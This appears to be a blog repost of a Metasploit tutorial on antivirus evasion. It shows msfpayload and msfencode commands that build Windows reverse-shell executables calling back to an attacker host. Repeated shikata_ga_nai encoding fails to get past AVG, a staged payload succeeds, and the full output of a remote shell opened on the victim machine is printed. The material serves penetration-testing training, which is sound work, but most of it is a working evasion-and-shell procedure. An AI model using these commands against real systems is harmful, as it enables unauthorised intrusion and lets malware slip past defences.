As we have seen, the Metasploit binary payloads work great. However, there is a bit of a complication.
Most Windows based systems currently run some form of anti-virus protection due to the widespread pervasiveness of malicious software targeting the platform. Let's make our example a little bit more real-world, and install the free version of AVG on the system and see what happens.
Right away, our payload gets detected. Let's see if there is anything we can do to prevent this from being discovered by AVG.
We will encode our produced executable in an attempt to make it harder to discover. We have used encoding before when exploiting software in avoiding bad characters so let's see if we can make use of it here. We will use the command line msfencode program. Lets look at some of the options by running msfencode with the '-h' switch.
root@bt4:/pentest/exploits/framework3# ./msfencode -h
Usage: ./msfencode
OPTIONS:
-a The architecture to encode as
-b The list of characters to avoid: 'x00xff'
-c The number of times to encode the data
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-s The maximum size of the encoded data
-t The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba)Let's see which encoders are available to us by running 'msfencode -l'.
root@bt4:/pentest/exploits/framework3# ./msfencode -l
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/generic_sh normal Generic Shell Variable Substitution Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 normal PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive great Polymorphic Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase EncoderExcellent. We can see our options and some various encoders we can make use of. Let's use the raw output of msfpayload, and pipe that as input to msfencode using the "shikata ga nai encoder" (translates to "it can't be helped" or "nothing can be done about it"). From there, we'll output a windows binary.
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe [*] x86/shikata_ga_nai succeeded with size 315 (iteration=1) root@bt:/pentest/exploits/framework3# file /tmp/2.exe /tmp/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Perfect! Let's now transfer the binary to another system and see what happens. And...
Well, that's not good. It is still being discovered by AVG. Well, we can't let AVG win, can we? Let's get a little crazy with it, and use three different encoders, two of which we will tell it to run through 10 times each, for a total of 21 encodes. This is about as much encoding as we can do and still have a working binary. AVG will never get past this!
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe > /tmp/6.exe [*] x86/shikata_ga_nai succeeded with size 315 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 342 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 369 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 396 (iteration=4) [*] x86/shikata_ga_nai succeeded with size 423 (iteration=5) [*] x86/shikata_ga_nai succeeded with size 450 (iteration=6) [*] x86/shikata_ga_nai succeeded with size 477 (iteration=7) [*] x86/shikata_ga_nai succeeded with size 504 (iteration=8) [*] x86/shikata_ga_nai succeeded with size 531 (iteration=9) [*] x86/shikata_ga_nai succeeded with size 558 (iteration=10) [*] x86/call4_dword_xor succeeded with size 586 (iteration=1) [*] x86/call4_dword_xor succeeded with size 614 (iteration=2) [*] x86/call4_dword_xor succeeded with size 642 (iteration=3) [*] x86/call4_dword_xor succeeded with size 670 (iteration=4) [*] x86/call4_dword_xor succeeded with size 698 (iteration=5) [*] x86/call4_dword_xor succeeded with size 726 (iteration=6) [*] x86/call4_dword_xor succeeded with size 754 (iteration=7) [*] x86/call4_dword_xor succeeded with size 782 (iteration=8) [*] x86/call4_dword_xor succeeded with size 810 (iteration=9) [*] x86/call4_dword_xor succeeded with size 838 (iteration=10) [*] x86/countdown succeeded with size 856 (iteration=1) root@bt4:/pentest/exploits/framework3# file /tmp/6.exe /tmp/6.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Ok, we will copy over the binary, run it aaaannnnd....
We failed! It still is discovered by AVG! How will we ever get past this? Well, it turns out there is a good reason for this. Metasploit supports two different types of payloads. The first sort, like 'window/shell_reverse_tcp', contains all the code needed for the payload. The other, like 'windows/shell/reverse_tcp' works a bit differently. 'windows/shell/reverse_tcp' contains just enough code to open a network connection, then stage the loading of the rest of the code required by the exploit from the attackers machine. So, in the case of 'windows/shell/reverse_tcp', a connection is made back to the attacker system, the rest of the payload is loaded into memory, and then a shell is provided.
So what does this mean for antivirus? Well, most antivirus works on signature-based technology. The code utilized by 'windows/shell_reverse_tcp' hits those signatures and is tagged by AVG right away. On the other hand, the staged payload, 'windows/shell/reverse_tcp' does not contain the signature that AVG is looking for, and so is therefore missed. Plus, by containing less code, there is less for the anti-virus program to work with, as if the signature is made too generic, the false positive rate will go up and frustrate users by triggering on non-malicious software.
With that in mind, let's generate a 'windows/shell/reverse_tcp' staged payload as an excutable.
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/shell/reverse_tcp Length: 278 Options: LHOST=172.16.104.130,LPORT=31337 root@bt4:/pentest/exploits/framework3# file /tmp/7.exe /tmp/7.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Ok, now we copy it over to the remote system and run it, then see what happens.
root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 E [*] Please wait while we load the module tree... [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler... [*] Sending stage (474 bytes) [*] Command shell session 1 opened (172.16.104.130:31337 -> 172.16.104.128:1548) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Jim\My Documents>dir dir Volume in drive C has no label. Volume Serial Number is E423-E726 Directory of C:\Documents and Settings\Jim\My Documents 05/27/2009 09:56 PM . 05/27/2009 09:56 PM .. 05/25/2009 09:36 PM 9,728 7.exe 05/25/2009 11:46 PM Downloads 10/29/2008 05:55 PM My Music 10/29/2008 05:55 PM My Pictures 1 File(s) 9,728 bytes 5 Dir(s) 38,655,614,976 bytes free C:\Documents and Settings\Jim\My Documents>
Success! Antivirus did not trigger on this new staged payload. We have successfully evaded antivirus on the system, and delivered our payload.
0 Comments:
Post a Comment